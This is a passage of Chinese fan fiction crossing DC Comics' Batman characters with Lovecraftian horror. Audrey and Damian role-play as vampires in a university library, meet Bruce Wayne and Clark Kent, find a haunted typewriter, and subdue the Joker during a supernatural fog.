“你听说过哥谭书坊吗？”莉莉安问。 “没有。是在附近新开的书店吗？”奥德莉根据店名猜测。 “它原本是一家纽约的书店，在曼哈顿西47街开了八十多年,曾吸引许多知名人物前往。可惜它在2007年关闭了。当时一位不知名人士以四十万美元拍下了书店的所有藏品，去年他将它们捐赠给哥谭大学，据说那些珍本的价值合计超过几百万美元。” “纽约好多的独立书店都关闭了。”奥德莉遗憾地说。“那现在哥谭大学要将这些藏书公开吗？” “是的，他们终于完成了整理工作,下周一将正式把这些书籍加入哥谭图书馆系统。”莉莉安说。“我看你很喜欢读杂记,猜测你也许会有兴趣。” “听起来其中会有很多孤本和少见的书籍。”奥德莉眼睛一亮。“谢谢你告诉我。” “哥谭大学的安德森图书馆还特意新开辟了一层来安置这些书籍，不过那间图书馆只对学生开放。” 离开前台后,奥德莉还没说话，达米安先意有所指地清清嗓子，体现一下存在感。 “请问这位哥谭大学的新生,是否愿意陪我去安德森图书馆逛逛呀？” “下周一晚上吗？我要看一下我的日程表。”达米安装模作样地拿出手机,认真地看着压根没亮起的屏幕。“周一我的日程安排很满了。” “我出价一美元。”奥德莉发出要约。 “好有诱惑力！我一周的零花钱只有五美元。我可以为你腾出时间。”信托基金宝宝达米安立刻被金钱的魅力打动了。毕竟韦恩家无视通货膨胀，当年给迪克的零花钱是这个数额，现在对达米安也一视同仁。 除了自带家族基金的德雷克，另外三任罗宾只能靠着韦恩家族信托基金和布鲁斯的黑卡的副卡过日子。真是太“贫穷”了。 “我是不是报价太高了？”奥德莉痛心疾首。“早知道我就说五十美分了。” “不行，我已经答应了,你不能反悔。”达米安马上说。 “狡猾的商人。好吧,那我想要服务的额外赠品。”奥德莉忽然冒出一个念头。 达米安看到奥德莉的头上仿佛亮起一个小灯泡，立刻警惕起来：“禁止邪恶的棉花团子提出不合理的要求。” “我是善良的棉花团子,我的要求都是合理的。”奥德莉正气凛然地说。 “那你先说来听听。”达米安才不会上当。 “等周一再告诉你。” 达米安“啧”了一声，没再追问。他手里拿着奥德莉新借的《伦敦之鼠》，随意翻看了几下，说：“又是这个作者。他在你们业内很有名气吧？” 奥德莉很有职业荣誉感地微微仰头。她对达米安的用词“业内”很满意，调查员行业可是很讲究专业素养的，绝不是什么人都能混迹其中。至于能出书的调查员，尤其是那些能面向大众销售的，更是行业中的佼佼者。 “H.P.洛夫克拉夫特是一位传奇级别的调查员。据说他的手稿有很强的精神污染性，除了他之外的人阅读之后都会陷入昏迷，醒来后神志不清一段时间。因此，洛夫克拉夫特会亲自用打字机将手稿打出来交给编辑，再将手稿销毁。打字机的标准字体被他称为‘认知囚笼’，能将不可名状之物转化为人类可以认知的内容。” “那他为什么不直接用打字机写作？”达米安费解地问。 “他认为调查本身也是一种仪式，而每一次仪式都会对灵魂造成损伤。因此，他用特定的墨水手写稿件，以此释放出他灵魂中的疯狂，帮助他稳定精神力量。” “调查真的会影响灵魂吗？”达米安担忧地望向奥德莉。“你从没说过你们这个行业这么危险。” “这只是他的个人观点，没有任何证据支持。其实洛夫克拉夫特后来已经有点半疯了，经常会做出一些毫无依据的断言。” 达米安松了口气，说：“我之前看他的《神殿》，他的文字风格确实异于常人，经常有大段的呓语般的描述。” “所以多亏打字机的帮助，我们才能看到那些作品。他生前用的那台打字机被他的后人捐赠给了密大博物馆，据说它在特定的星空下会随机打出他生前的作品，就仿佛对往日的回响。” “是什么样的星空？” “目前还没测试出来，所以可能只是个传说吧。我还去参观过呢，打字机的一枚按键上有他的独特徽记，是一只有很多触角的章鱼。” “是这个图案吗？”达米安翻到书的后记部分，指给奥德莉看。 “正是它。”奥德莉说。“灵感来自于外神在洛夫克拉夫特眼中呈现的形态。” “有点像九头蛇的标记。”达米安低声说。 “二战时的恐怖组织吗？我也觉得像。”九头蛇原本是鲜为人知的恐怖组织，但在美国队长将其彻底铲除并向世界公开其罪行后，连奥德莉这种并不紧跟时事的群众都能认出九头蛇的标志。 周一晚上，安德森图书馆，地下一层。 在高大的摆满了书籍的钢制书架之间，奥德莉穿着黑色长裙缓步行走，时不时停下来查看旁边的书籍。 奥德莉的头上戴着兜帽，手中毫无必要地提着一盏防风灯，在图书馆的白炽灯下提供可以忽略不计的照明。达米安跟在她身后，也戴着兜帽，提着一盏灯。 “这就是你要的额外服务？”达米安咬牙切齿地问，小心地不让装饰尖牙影响发音。 奥德莉转过身，望向达米安，露出一个调皮的笑容，吸血鬼尖牙若隐若现。 “你不觉得很有冒险的感觉吗？”奥德莉笑眯眯地说。“你以为我想的服务是什么？” 达米安的耳朵刷地一下红了，还好被兜帽遮住，他还能假装无事发生，小声地说：“反正不是这个。” “那你说来听听，我可以考虑将其加入此次角色扮演。”奥德莉若有所觉，故意逗达米安。 达米安先是瞪大了那双绿眼睛，似乎有点心动，然后恼怒地瞥奥德莉一眼，回避了这个话题，问道：“你还没说我们为什么要打扮成这样。今天又不是万圣节。” “我是吸血鬼调查员，经营着一家调查社。”奥德莉补全自己的人设。“你是我的雇员，兼保镖。” “那我为什么也是吸血鬼？如果我是保镖，我不应该是狼人什么的吗？”达米安质疑道。 “不要对狼人刻板印象嘛。你是一个大学生，因为缺钱所以不得不在调查社打工。因为我看中了你的能力，所以把你转化成了吸血鬼。”奥德莉补充设定，然后解释理由：“这样我们就可以一起戴这个牙齿了。” 奥德莉一边说着，一边故意朝达米安露出尖牙，作势要去咬他。 “那这个灯又是做什么的？”达米安毫不闪躲，淡定地提问，等着听奥德莉要怎么继续编。 “这可不是普通的灯。”奥德莉这次倒不是在瞎编，这是奥里弗拉姆拍卖行的店主埃莉诺特意为她留下的，上周刚邮寄到哥谭。两盏灯看似款式复古，实则是靠电池供能。虽然亮度较低，但光线可以穿透不可名状的浓雾，是调查员野外探险时常用的装备之一。 达米安仔细看看手中的灯，看不出有什么特别之处：“这两盏灯一样吗？” “功能是一样的，我多买了一盏备用。”奥德莉偶尔会仓鼠囤积癖发作，觉得有备用装备才更安心。“不过上面刻的徽记不一样。我的上面是线条小狗，你的是线条小猫。” 达米安已经发现了造型上的这一点小差异：“这是你特意定制的吗？” “没错，而且是我亲自画的。”奥德莉很为自己的画技进步而自得。至少埃莉诺在收到她发送的图片时，一眼便认出了两只动物是什么。 “画得不错。”达米安夸道。 “本来我只是想戴个兜帽营造一下氛围，但是在我发现这些书被安置在地下一层时，我觉得需要再进一步烘托一下气氛。” “这里好像只有我们两个人。”达米安很煞风景地说。 “不要立flag！”奥德莉马上阻止他。“而且我们两个也不是人。” 奥德莉非常入戏地用眼神谴责达米安，达米安只好说：“对，我们是两个吸血鬼。” “哥谭书店的藏书又被捐赠到哥谭大学，难道这只是一个巧合吗？”奥德莉高深莫测地说。“我想其中一定蕴藏着一个惊天大秘密。” 达米安很想告诉奥德莉，他已经调查过了，那个神秘购买者就是布鲁斯韦恩，他纯粹是因为书店名字才购买的。至于捐献给哥谭大学，难道韦恩还会把书捐献到其他大学吗？ 但是奥德莉全情投入，达米安只好尽力配合：“你说得对，天下哪有这么巧的事情。”【你现在阅读的是 】 50-60 第51章 奥德莉很清楚达米安是在顺着自己的剧本往下演。不过一个人的独角戏或许…… 奥德莉很清楚达米安是在顺着自己的剧本往下演。不过一个人的独角戏或许是犯傻,两个人一起演就是有趣的消遣了。 两人正在你一言、我一语地完善剧情设定，忽然听见另一侧传来窸窸窣窣的声音。与奥德莉对视一眼，达米安悄无声息地朝声音的源头移动。奥德莉慢慢地跟在达米安后面,也放轻了步伐。 世界上有没有吸血鬼？据达米安所知是没有的。但哥谭总有奇人异事,傍晚时分的图书馆地下一层,什么怪事都有可能发生。 比如从某一架子书后面探出脑袋的人，是布鲁斯韦恩。 达米安有点头疼地闭了闭眼睛，不敢想象接下来戏精对决的局面。布鲁斯对他的表情视而不见,热情地挥手喊道：“儿子，你怎么在这里？” “父亲，您怎么在这里？”达米安很想假装没看见，但布鲁斯的声音太大了,很难忽略,于是他选择反问对方的意图。 “我来看看哥谭大学对我捐赠的书是怎么处理的。”布鲁斯说，然后对着达米安身后的人说话：“小姑娘,我记得你。你是奥德莉，对吧？” 奥德莉已经摘下了兜帽，但还带着尖牙,很乖巧地和布鲁斯打招呼：“韦恩先生,晚上好。” “不要这么客气，请叫我布鲁斯。”布鲁斯轻快地说。 话音刚落，布鲁斯身后又探出一个脑袋，男人有点不好意思地说：“晚上好，是不是打扰到你们了？” 达米安眯起绿色眼眸,身上已经散发出要砍人的气息了。男人高大的身体向后缩了缩,但那张五官端正的、充满纯良气质的脸实在很有辨识度。 “肯特记者？”奥德莉看看那两个仍然挤在书架后的男人，也危险地眯起眼睛。他为什么会和韦恩先生一起出现在这里？难道他们在约会？ 克拉克肯特又徒劳地向后缩了缩,不知道奥德莉为什么会对自己有这么大的敌意。虽然奥德莉不知道他的另一个身份，但根据萨摩耶期间的记忆来看，奥德莉明明是个很友善的人/萨摩耶。 超人的超级大脑做梦也想不到，奥德莉已经把他视为蝙布之间不该存在的小插曲，恨不得立刻将他遣送回大都会。 “叫我克拉克就可以了。”超人坚强地直面奥德莉的冷漠。 布鲁斯很清楚奥德莉在想什么。克拉克出于好奇要和他一起来时，他已经预料到这种场景，只是坏心眼地没有提醒自己的搭档。 克拉克原本只是出于记者的职业素养，想看看哥谭大学在收到大体量的捐赠书籍后是如何处理的，没想到看到了达米安和他的朋友，两个年轻人还很可爱地穿了特别的衣服，在那里小声地商量背景设定。 超级听力让克拉克将两个人的对话听的一清二楚，因此努力劝说布鲁斯赶紧一起离开，以免碰面后达米安感觉尴尬甚至是生气。但布鲁斯似乎铁了心地要被发现，还故意发出点声音吸引他们的注意。 我已经尽力了……克拉克悲伤地想。但我真的拦不住戏精上身的蝙蝠侠。 “你的尖牙看起来很逼真。”布鲁斯向往地夸奖道。 “我还有备用的。”备用品囤积狂魔奥德莉立刻掏出两副。“你们要戴吗？” 布鲁斯乐呵呵地接过去，塞给面无表情的克拉克一副，然后很娴熟地为自己装扮上，又去指导故意装笨拙的克拉克。克拉克没有办法，最后被布鲁斯按着安上了尖牙。 “我们是吸血鬼家族，今夜来此地寻找遗失的珍宝。”布鲁斯说。奥德莉有点不乐意把克拉克也算进自己的家族里，但出于礼貌没有说什么，只是撇了撇嘴。被嫌弃的克拉克在心里泪流满面，恨不得立刻飞走。 达米安没吭声，算是默许了。奥德莉又把自己的设定讲了一遍，然后融合背景：“布鲁斯是家族的长老，我是独立创业的后辈，现在一起为了家族的荣光而联手行动。” “那我呢？”克拉克弱弱地问。 “你是长老捡回来的流浪者，也算是一个侍卫吧。”达米安说。奥德莉赞同地点头。 流浪者……也算是个侍卫……行吧，至少也被划在小团体里了。克拉克忍辱负重地应下自己的角色。 “我只有两盏灯，就不分给你们了。”奥德莉很小气地补充，达米安立刻表示支持。 “那你们在前面走吧，帮忙照亮前路。”布鲁斯看穿了奥德莉的小心思，提出请两人带路。 “没问题。那你们要好好地跟着我们，不要走散。”奥德莉很严肃地提醒道：“这里危机四伏，随时可能有陷阱。” “好的。”布鲁斯也很认真地答应了。“我会紧紧跟着你的。” 四个人慢慢前行，期间奥德莉在看到感兴趣的书名时会停下来快速地翻看，另外三人也不催促她，一边聊天一边等待。有布鲁斯在，气氛总是会活跃起来。 “咦，这本书的扉页上有我的名字。”奥德莉忽然惊呼一声，达米安立刻靠近去看。 这是一本精装书，书名叫做《阿卡姆的呼唤》。奥德莉只是好奇地拿下来翻阅，却发现扉页的手写致敬部分写着“期待读者A.V.的指正”。奥德莉的名字首字母也正是这两个，因此第一反应是自己的名字。但转念一想，名字缩写是这两个字母的组合有很多，可能是自己多心了。 达米安从奥德莉的手中接过书，却见扉页上的手写字体缓缓变换，变成了“期待读者D.W.的指正”，也即是达米安名字的首字母。 两人悚然一惊，奥德莉赶紧将书合上，准备将它借阅带走。 “怎么了？”布鲁斯的视线被两人挡住，好奇地问。 “没什么。”奥德莉赶紧说。“只是发现了一本有趣的书，打算借走。” 布鲁斯和克拉克对视一眼，克拉克用口型说“书有异常”，布鲁斯点点头表示明白，没再多问。 四人继续向前走去，奥德莉深怕再有什么奇怪的书籍出现，也不敢乱翻了，打算和达米安再单独来一趟。在她的认知里，布鲁斯和克拉克都是普通人，她不想在他们在场时冒险。 达米安对这本书的担忧还有另外一层——它是否能识别出读者的真实身份？比如蝙蝠侠拿着这本书，它会判定读者是蝙蝠侠还是布鲁斯？如果是后者，那它的危险性就更大了。 “这里有一台打字机。”布鲁斯忽然指着靠墙的一张桌子，一惊一乍地说。“现在还有*人用这种老古董吗？” 奥德莉顺着布鲁斯的手指看去，只见一台老式打字机被端正地摆在桌上，上面还有一张打字到一半的纸，就仿佛有人刚刚正在打字，临时有事短暂离开了。 几人靠近去看，发现打字机的字母与常见的QWER键盘布局不同，而是完全按照字母顺序由A到Z排列的。更奇怪的是，其中有两个字母是缺失的，分别是J和Y。 “从字母的排序来看，这是最老式的打字机。”布鲁斯说，在奥德莉震惊的眼神中解释道：“我在拍卖会上买过一台，拍卖师说的。” “H.P.洛夫克拉夫特。”克拉克读出打字机侧面的刻字。“这大概是所有者的名字吧？” 除了克拉克，在场的另外三人都对这个名字很有印象。连布鲁斯都说：“这个名字我听过，挺独特的，所以记住了。” “您是在哪里听到的？” “在我祖父的日记里看到过。此人似乎是个私家侦探，我的祖父雇佣他调查某件事情，不过他的记载很简略，我不清楚具体内容。调查结果也只是被很简短地记录下来，说是对方带回了某个消息，建议祖父不要再关注那件事了。” “洛夫克拉夫特的笔记我都看过，从没见他说曾来过哥谭。”奥德莉很吃惊，低声对达米安说。 “也许是他的私人笔记部分，没有出版。”达米安猜测。 “那样的话，密大图书馆可能有备份。”奥德莉说。“我之后去查一查。” “虽然这两个字母不是最常用的，但也会影响书写。”布鲁斯靠近去看纸上被打出来的内容，“不过这个作者看来已经习惯了，完全没影响他的表达。” “你确定密大的打字机是真品吗？”达米安低声问。 “应该是吧。”奥德莉犹豫地说。“不过他也许有不止一台打字机呢。” “总不太可能是重名吧。”达米安说。 “我觉得那个可能性微乎其微。”奥德莉说，掏出手机对着打字机拍了几张照片。 “这个作者是在以哥谭为背景写小说吗？”布鲁斯读完了纸上的部分，“里面还提到了这家图书馆，以及来这里借书的读者。” “我又有一种不太妙的预感。”奥德莉小声地哼唧，达米安赶紧阻止她：“你也不要立flag！” 话刚说到一半，地下一层的灯忽然全部熄灭了，只剩下两盏提灯在尽职尽责地工作。 第52章 与白炽灯相比，提灯的光芒是黄色的，而且颇为昏暗，四个人因此站得很近…… 与白炽灯相比,提灯的光芒是黄色的，而且颇为昏暗，四个人因此站得很近,以便能站在被光线笼罩的区域内。 光亮会令人类下意识地产生安全感。奥德莉强作镇定地安抚两个“普通”中年男人：“不要怕,可能是停电了。” “图书馆通常有备用电源,可能很快就会恢复电力了。”布鲁斯环顾四周，微微皱眉。“咦，哪里来的雾气？” “雾越来越浓了,我现在已经看不清楚那台打字机了。”克拉克看似平常地说，实则是告诉布鲁斯，雾气竟然能隔绝他的超级视力。 奥德莉这才注意到，视野受限的原因不只是头顶上的灯熄灭导致的光线变暗,也因为有一股若隐若现的雾气从不知何处冒出来,甚至可能是从四面八方涌出来，模糊了他们的视线。 按照消防规定,墙上每隔一段距离都装有安全出口指示灯，但雾气将绿色的光芒完全吞噬了。 “我记得出口的方向，跟着我走。”奥德莉看似自信满满地说,其实掺杂了很大成分的自我鼓励。“幸好提灯有穿透雾气照明的功能,我们不至于完全摸黑行动。虽然范围有限，但也足够了。” 奥德莉此刻的目标只有一个，就是将大家安全带离此地。 “我们好像是在绕圈子。”走了一会儿，达米安发现了不对。按照他们的速度，应该已经到楼梯口了,可此时他们仍身处书架之间。 “的确。”克拉克不小心碰到了一旁的桌子,被桌上的物品撞了一下腰，摸索着去判断是什么东西。“我们又回到了打字机这里。” “我们把打字机带上吧。”奥德莉提议道。“它出现得很古怪,也许能有什么用呢。”她将灯塞到达米安手中，试着去搬打字机，却发现它比看起来更重，仿佛是一个实心的金属块。 “克拉克，你去帮忙。”布鲁斯指示。 克拉克任劳任怨地捧起颇为沉重的打字机，奥德莉继续提灯带路，四人又走了一会儿，不约而同地停下脚步，注视着忽然自己运行起来的打字机。 黄铜按键的咔哒声缓慢而清晰，在纸张上增添一行内容：“*og-Sothoth” “为什么最前面有一个星号？”布鲁斯问。 “因为打字机缺少按键‘Y’，它想打出的内容应该是Yog-Sothoth（犹格索托斯）。”奥德莉说。“它可能是在对我们示警。如果是涉及这位外神的话，雾气的来源也就能解释得通了，一定是因为祂而产生的。” 犹格索托斯是一位非常强大的外神。他是门，也是门钥匙，亦是看门者。他存在于过去、现在和未来，不受时间和空间的束缚。祂的产生者被认为是无名之雾，据说在祂的视线投向的地方会有雾气出现。 “又是这种看不见摸不着的东西。”达米安反感地说。他不喜欢这种不可名状的、鬼鬼祟祟的敌人。“它为什么会缺少J和Y这两个字母？” “可能它的主人不希望它能打出犹格索托斯的全名。”奥德莉联系眼下的情况，胡乱猜测。“但是J我就想不出是为什么了。” “或许是涉及另一个外神的名字吧。”达米安说。 “打字机可能有预言或是破解围困的功能。如果我们用打字机写出接下来会发生的事情，比如‘四人顺利地离开图书馆’，是不是有可能会成真？”反正已经开始怪力乱神了，奥德莉见布鲁斯和克拉克都还算冷静，索性不再假装有科学的解决办法。 “我试一试。”达米安伸出食指，尝试着按下一个按键。就像一台平常的打字机一样，克拉克捧着的机器上方的纸张上出现了对应的字母。 面对令人不习惯的键盘布局，达米安以尽量快的速度打完了一句话，并以句号作为终结。 四人等了一分钟，没有感觉到任何变化，奥德莉有点焦虑：“我们再试着朝楼梯走一次吧。” “为什么这么严肃呢？希望我的到来能为你带来欢乐。”一个陌生的声音忽然响起，接着是一阵笑声。奥德莉惊跳起来，达米安则迅速地拔出了匕首。 “你是谁？”奥德莉问。 “他是小丑。”达米安先回答了，又强调了一次：“Joker。” 奥德莉接收到达米安的眼神，明白他认为J对应的是小丑。她觉得这个推测是合理的，但小丑和外神在神秘打字机眼中被相提并论，又感觉好像哪里都不对。 “我喜欢和聪明人打交道。”小丑从迷雾中现身，穿着紫色西装，顶着标志性的绿色头发。 “我不喜欢和你打交道。”奥德莉嫌恶地说，“你为什么会出现在这里？你是怎么从阿卡姆逃出来的？” “我自有办法。”小丑没有正面回答。 “你想做什么？是你召唤了外神吗？” “是祂的信徒找上了我，说在某个流传已久的预言里我是很重要的角色。”小丑得意洋洋地说。“只有我能找到他们想要的东西。” “那你具体要做什么？”奥德莉追问道。从杰那里听到小丑的事迹之后，她知道小丑并不是普通人，不能等闲视之。 “其实很简单，我只是来找一本书。”小丑说。“它的作者是C.A.史密斯。” 奥德莉几乎已经预感到小丑要找的是哪一本书了，很可能是此刻正躺在她随身小背包里的那本《阿卡姆的呼唤》。她刚才只是对作者名字粗略一瞥，此刻听到这个名字由小丑之口说出，忽然意识到那是一位著名调查员的名字的缩写，即克拉克阿什顿史密斯。 史密斯和洛夫克拉夫特是同时代的人，也是多年笔友。不过史密斯出版的作品较少，在好友们都去世后，他将大量精力投入在为朋友整理遗作上，不再四处调查探险。奥德莉从未听说过他写过名为《阿卡姆的呼唤》的书，所以之前没有将两者联想到一起。 虽然史密斯本人留下的文字不多，但他留下的雕刻作品可以说是到了泛滥的程度。他的作品并不算精致，通常是随手用某样材料雕刻出一个雏形便声称完成了。他的理由是“许多事物不能细看，否则对人无益。只要知道大概的样子就足够了”。 由于数量太多，所用材料也并不值钱，史密斯的雕刻作品价格通常不过几百美元。奥德莉的室友爱丽丝曾送过她一块作为圣诞礼物，两人一起看了半天也没研究出到底雕刻的是什么，奥德莉便将它当做镇纸使用。 “那你慢慢找吧，我们先走了。”奥德莉礼貌地告别。 “我已经找到了。”小丑笑嘻嘻地说。“我知道它在你的包里。” “难道你要抢劫吗？”奥德莉怒瞪小丑。“这本书是哥谭大学的，四舍五入就是每个哥谭大学的学生共有的。我身边的人正是学生之一，也就是说这本书是我们的。” “我才没有必要去做抢劫这种事。”小丑听了奥德莉这种毫无逻辑的话，竟然有一种遇到神经病的知音感。他又一次发出难听的笑声：“你会自己主动把书给我的。” “达米安，你能把他捆起来吗？”奥德莉小声地问。 “我听见了哦。”小丑立刻说。“我在你敬爱的老师的办公室里放了炸弹，如果你不按照我说的去做，她就会被炸死。” “维斯勒医生？”奥德莉诧异道。 “没错。”小丑说。 “哦。”奥德莉一点不担心，催促达米安道：“快点快点。” 反而是布鲁斯犹豫地拍拍奥德莉的肩膀，说：“万一他说的是真的呢？我们可以再商量一下。” “我相信他说的是真的。不过不用担心，维斯勒医生有足够的警惕性和自保能力。”奥德莉没想到小丑会选择维斯勒医生下手，真是又惊又喜。 喜的是如果小丑以其他无辜的医生护士作为人质，她会顾虑重重，不得不听从小丑的要求；惊的是小丑会不会遭到维斯勒医生的报复，她回到阿卡姆之后需要赶紧提醒维斯勒医生，千万别杀掉小丑，多打几顿就行了，否则她可能被迫继承小丑的衣钵。 布鲁斯见奥德莉并不是不在意，而是真的对同样毕业于密大的维斯勒医生的能力很确信，便不再多说。 小丑不擅长搏击，通常是靠着阴谋和以人质威胁他人来达到目的，并热衷于欣赏他人的挣扎和痛苦。他知道奥德莉和维斯勒医生不只是前辈和后辈的关系，两人性格很合得来，私交不错。尽管维斯勒医生据说有些特别的本事，但小丑对于自己的本事也很有信心。 在布鲁斯和奥德莉对话的时候，达米安已经控制住了小丑，三下五除二地把他捆得严严实实。即使脸上涂着浓墨重彩，小丑的错愕神色也相当明显——事态的发展和他想象的完全不一样。 “我觉得打字机真的有用，你看，这不是很顺利吗？”奥德莉为达米安利落的身手鼓掌，然后上前去踹了小丑三脚。“这一脚是为了维斯勒医生，这一脚是为了杰，哦对了，还有一脚是为了我自己。” 小丑的嘴也被堵上了，无法再发出笑声，他看着奥德莉的眼神几乎要喷火了。 “你还敢瞪我！”奥德莉更生气了，又想去给小丑两拳。布鲁斯慢悠悠地拦住她，说：“我们先离开这里，之后你随便揍他，我给你放风。” “真的吗？”奥德莉不敢相信自己的耳朵。她还以为布鲁斯是来阻拦自己的。 “当然是真的。”布鲁斯说。 他人真好，和蝙蝠侠一样善解人意。奥德莉感动地想。 第53章 “我们要怎么把他带走呢？”奥德莉看看被捆住的小丑，征询达米安的意见…… “我们要怎么把他带走呢？”奥德莉看看被捆住的小丑,征询达米安的意见。 “我拉着绳子拖着他就行了。”达米安很轻松地说，示意奥德莉去看他高超的技术。“用这个方法，我可以毫不费力地拖着七八个人前进。” “真的不累吗？”奥德莉对即将被拖行的小丑毫无怜悯之心,只是有点担心达米安。“克拉克可以帮忙拖小丑,对吧？”这话是对着克拉克说的,但奥德莉却望着布鲁斯，似乎希望他表示立场。 排挤，这是公然的排挤。手捧打字机的克拉克郁闷地想。 “达米安很有力气,他没问题的。”布鲁斯一点也没有偏心儿子的意思，不去理会奥德莉的眼神暗示。 “好吧。”奥德莉扁扁嘴，又对达米安说：“那如果你累了，告诉我,我来帮你。” 虽然奥德莉的主要动机可能是暗戳戳地欺负克拉克,但至少一部分动机也是不想让自己太辛苦。达米安心情愉快，觉得小丑看起来都没那么烦人了。 “如果我们能顺利走出去的话,其实没有多远的路程。”布鲁斯很不合时宜地说。 奥德莉和达米安都假装没听见布鲁斯的话，默默地开始前进。 “还是不太对。”达米安根据几人走出的距离判断道。“我们仍然在原地打转。” 奥德莉回头去看打字机，它安安静静地端坐克拉克手臂之上,没有再给出什么提示。 “小丑提到这本书,也许书里面有可以参考的信息。”奥德莉从包里翻出《阿卡姆的呼唤》，借着提灯的光芒翻阅起来。另外三人也都凑过去一起看。 “史密斯整理了几位调查员在哥谭的笔记，交互验证笔记中的内容，最后按照时间顺序写了阿卡姆疯人院的历史事迹。”奥德莉轻声说。“洛夫克拉夫特曾被布鲁斯的祖父帕特里克韦恩雇佣，调查阿卡姆庄园出现的异常。那时阿卡姆疯人院的前身,也即阿卡姆综合医院尚未正式创办,仍在筹备阶段。” “这大概就是祖父日记里提到的调查了。”布鲁斯说。“但不知道为什么祖父在自己的日记里对此遮遮掩掩，和他的一贯风格不符。” “阿玛迪斯阿卡姆医生是阿卡姆家族当时的家主,他收到一封匿名信，其中附上了一张手绘的地图。同时，他发现庄园地下有不知是谁挖掘的复杂隧道，一直通往河边。他和帕特里克关系很好，知道他交友广泛，因此向他求助。”达米安站在奥德莉身后，与她一起快速浏览。 “当时洛夫克拉夫特已经因为《印斯茅斯镇之阴影》的出版而名声大噪，帕特里克读过这本书，觉得这个年轻人胆子很大又心思缜密，于是想雇佣他来哥谭调查此事。起初洛夫克拉夫特拒绝了，因为他已有下一阶段的安排。但……”奥德莉被接下来的描述逗笑了。 “但韦恩先生给得太多了，我决定空出一个月的时间，以民俗考察的名义去哥谭调查。”布鲁斯读完这句话，也笑了，还开玩笑地说：“看来我的钞能力真是家学渊源。” “我也是调查员，勤劳肯干，童叟无欺。”奥德莉赶紧提醒这位潜在的大赞助者。 “我会记得的，如有业务，第一个联系你。”布鲁斯慷慨地表态。 “谢谢！”奥德莉干劲十足地继续读下去。“洛夫克拉夫特住在阿卡姆庄园，通过对历史资料的研读和对附近居民的访谈，最后发现庄园地下的隧道是最初的几代家主派人挖掘的，目的是为了在需要时可以不被人注意地离开。然而，由于某种不知名的原因，隧道同时呈现出不同时期的状态，因此显得格外的复杂扭曲。” “类似于量子叠加态？”达米安问。 “没错。至于那张随信邮寄的地图，他未能找出寄信人的身份，但根据档案记录判断地图是地下隧道最初的挖掘方案。” “所以寄信人是在做出提示。”达米安说。 “洛夫克拉夫特也这么认为。之后，他通过某种手段，具体的内容在书里没有细写，将这种量子叠加的状态收容到一张纸上。编者在此处加了注释，说这张纸被他用作本书的扉页了。”奥德莉对这种高明的收容手段十分向往，决定回学校之后向教授们请教。 “难怪扉页的读者名字会随持有者的身份变化而改变。”达米安恍然。他也被这种神奇的收容方法震惊了，它竟然能将笼罩整个庄园地下隧道的能量压缩在一张纸的范围内。 “然后呢？”布鲁斯催促道。 “洛夫克拉夫特告诉自己的雇主问题已经解决了，隧道彻底消失，让他和阿卡姆医生不要多问。”奥德莉被前辈调查员的个性惊呆了。“帕特里克起初尝试追问，但洛夫克拉夫特认为犹格索托斯的危险性太高了，坚决不肯透露任何细节。洛夫克拉夫特是个很倔强的人，他认定的事情绝不会改变，他甚至提出放弃报酬，也不肯回答雇主的问题。” “不过最后曾祖父退让了，并按照约定支付了报酬。”达米安补充道。 “犹格索托斯究竟是什么？”布鲁斯问。 “呃，祂可以被理解为高维生物，时间对祂而言没有意义，因为祂无处不在。”奥德莉用尽量简单的语言解释。“由于祂的影响，隧道才会产生量子叠加态。” “这对我们解决现在的困境有什么启示吗？”布鲁斯苦恼地问。“我们现在是处于量子叠加态吗？” “我不知道。”奥德莉实话实说，继续苦读手中的书，试图获得更多信息。“洛夫克拉夫特在离开哥谭之前，将自己带来的打字机留给了阿卡姆医生，说有朝一日它可能会派上用场。他描述了打字机的样式，我想它正是克拉克手中的那一台。” “他能预知未来吗？”克拉克敬畏地低头看向打字机。 “在处理地下隧道的时候，他观测到了未来可能发生的事情，但他并不能确定具体时间。”奥德莉说。“他还说，如果想激发这台打字机的全部力量，需要以双生苦艾作为媒介，用舌骨十字铃作为祭品举行仪式。” “那是什么？”达米安问。“我们该去哪里找它们？” “我随身带了。”奥德莉庆幸地说，同时为这种巧合而感到害怕。“我只是觉得这两样材料的样式很适合吸血鬼的氛围，想在后续剧情发展中以它们为道具，所以放在了包里。” 奥德莉取出两种材料，叮嘱三人：“舌骨十字铃可能会引起维度震荡，将异世界的景象投影到我们的世界。每个人看到的景象是与自身相关的，因此各不相同。但无论看到什么，都千万不要发出声音。” 三人郑重答应，看着奥德莉快速而熟练地举行了仪式，不过几分钟的时间便完成了。没有人发出声音，但映照在他们瞳孔上的不同景象令他们都睁大双眼，努力地记下所有细节。 “好了，我们再试试打字机是否能给我们点帮助吧。”奥德莉说。“我想这一次可以写如下内容：祭品已经被捆好，一切异常将由他承担，而不会影响其他人。” “小丑不会突然死掉吧？”达米安担心地问。 “我想他会因吸纳了雾气而更加疯狂，因为他能看到过去和未来，甚至是其他世界的过去和未来，但是他分不清哪些是已经发生的，哪些是即将发生的。”奥德莉说。“这种疯狂意味着陷入彻底的混沌，他将不再有任何理智去设计阴谋诡计。” “听起来像是件好事。”布鲁斯犹豫地说。“但是你有把握这是唯一的结果吗？” “那我们再加一句‘祭品不会因此死亡’？”奥德莉和洛夫克拉夫特不一样，她很愿意尽力采纳大客户的建议。 布鲁斯没再反对，只是悄悄用眼神示意克拉克和达米安注意保护小丑的性命。奥德莉见布鲁斯没有其它要求，便将设计好的话语在打字机上敲出来。 雾气在不知不觉间消散了。达米安发现小丑陷入了昏迷，伸手去探小丑的鼻息，在发现他呼吸平稳时松了口气。 “我能看到出口指示灯了。”奥德莉看到墙上的绿色荧光，惊喜地说。下一秒，图书馆的电力恢复了。 “这一次我们应该可以离开了。我的管家一定在四处找我，晚上还有个宴会要参加。”布鲁斯看看表，却惊讶地发现时间几乎没有流逝，仍是晚上七点钟，而他感知中已经过了数个小时。 “看来雾气里的时间流速和现实中不同。”奥德莉也发现了时间的异常。“我们先出去吧。” 由于带着小丑，四人不得不鬼鬼祟祟地找了个隐蔽的出口离开，然后躲在图书馆后面没人的灌木丛里。 “达米安和我现在就把小丑送回阿卡姆去。”奥德莉看着昏迷中的小丑，深怕他忽然有什么不测。 “我们要去市中心，就不和你们一起去了。”布鲁斯带着很想远离麻烦的表情说。 “那把打字机交给我们吧。”奥德莉说。“它太危险了。” 克拉克很惊讶地发现布鲁斯竟然同意了，简直不敢相信自己的耳朵。达米安将提灯递给奥德莉，接过打字机，然后和奥德莉离开了。 “你竟然会答应。”克拉克瞪着布鲁斯，简直怀疑自己的搭档被掉包了。他偷偷地用超级视力检查布鲁斯，确定对方还是他认识的那个蝙蝠侠才放心。 